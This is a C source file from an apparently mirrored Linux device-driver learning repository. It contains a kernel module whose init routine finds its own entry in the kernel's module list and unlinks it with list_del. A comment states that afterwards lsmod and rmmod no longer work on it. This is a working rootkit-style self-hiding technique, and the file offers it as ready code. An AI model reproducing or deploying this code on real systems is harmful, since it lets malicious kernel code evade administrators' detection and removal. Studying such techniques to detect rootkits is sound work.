mirror of
https://github.com/gatieme/LDD-LinuxDeviceDrivers.git
synced 2026-08-19 01:22:36 +08:00
70 lines
1.4 KiB
C
70 lines
1.4 KiB
C
// 去掉模块链后，lsmod和rmmod都不起作用了
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//
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// http://www.blogbus.com/debug-sai-logs/49461512.html
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#include <linux/kernel.h>
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#include <linux/init.h>
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#include <linux/module.h>
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#include <linux/moduleparam.h>
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#include <linux/unistd.h>
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#include <linux/types.h>
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#include <linux/sched.h>
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#include <linux/syscalls.h>
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#include <linux/dirent.h>
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#include <linux/file.h>
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#include <linux/fs.h>
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#include <linux/string.h>
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#include <linux/list.h>
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#include <linux/kallsyms.h>
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#include <asm/uaccess.h>
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MODULE_LICENSE("Dual BSD/GPL");
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#define _DEBUG
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#ifdef _DEBUG
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#define kprintk(fmt,args...) printk(KERN_DEBUG fmt,##args)
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#define kprintf(fmt,args...) printf(fmt,##args)
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#define kperror(str) perror(str)
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#else
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#define kprintk
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#define kprintf
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#define kperror
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#endif
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static int patch_init(void);
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void hidemodule(void)
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{
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struct module *head = &__this_module;
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struct module *next;
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next = head;
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do
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{
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if((int)(next->init) == (int)patch_init)
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{
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kprintk("find module,hide it\n");
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list_del(&next->list);
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break;
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}else
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{
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struct list_head * entry = next->list.next;
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next = container_of(entry,struct module,list);
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}
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}while(next != head);
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}
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static int patch_init(void)
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{
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hidemodule( );
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return 0;
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}
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static void patch_cleanup(void)
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{
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}
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module_init(patch_init);
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module_exit(patch_cleanup);
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